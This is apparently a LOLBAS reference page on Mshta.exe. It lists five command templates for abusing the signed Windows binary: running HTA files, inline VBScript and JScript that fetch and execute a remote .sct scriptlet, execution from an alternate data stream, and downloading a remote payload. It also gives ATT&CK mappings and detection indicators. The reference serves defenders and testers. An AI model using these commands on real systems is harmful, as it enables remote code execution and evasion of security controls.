LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Mshta.exe

View source

Used by Windows to execute html applications. (.hta)

ExecuteADSDownload
05COMMAND EXAMPLES
02ATT&CK TECHNIQUES
15DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Execute3

EXAMPLE 01T1218.005

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

COMMAND
mshta.exe {PATH:.hta}
USE CASE
Execute code
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · HTAExecute · Remote
EXAMPLE 02T1218.005

Executes VBScript supplied as a command line argument.

COMMAND
mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
USE CASE
Execute code
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · VBScript
EXAMPLE 03T1218.005

Executes JavaScript supplied as a command line argument.

COMMAND
mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
USE CASE
Execute code
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · JScript

ADS1

EXAMPLE 01T1218.005

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

COMMAND
mshta.exe "{PATH_ABSOLUTE}:file.hta"
USE CASE
Execute code hidden in alternate data stream
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
Execute · HTA

Download1

EXAMPLE 01T1105

It will download a remote payload and place it in INetCache.

COMMAND
mshta.exe {REMOTEURL}
USE CASE
Downloads payload from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

15 resources

Indicators & detection notes

  • IOC

    mshta.exe executing raw or obfuscated script within the command-line

  • IOC

    General usage of HTA file

  • IOC

    msthta.exe network connection to Internet/WWW resource

  • IOC

    DotNet CLR libraries loaded into mshta.exe

  • IOC

    DotNet CLR Usage Log - mshta.exe.log

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Oddvar Moe@oddvarmoe
Nir Chako (Pentera)@C_h4ck_0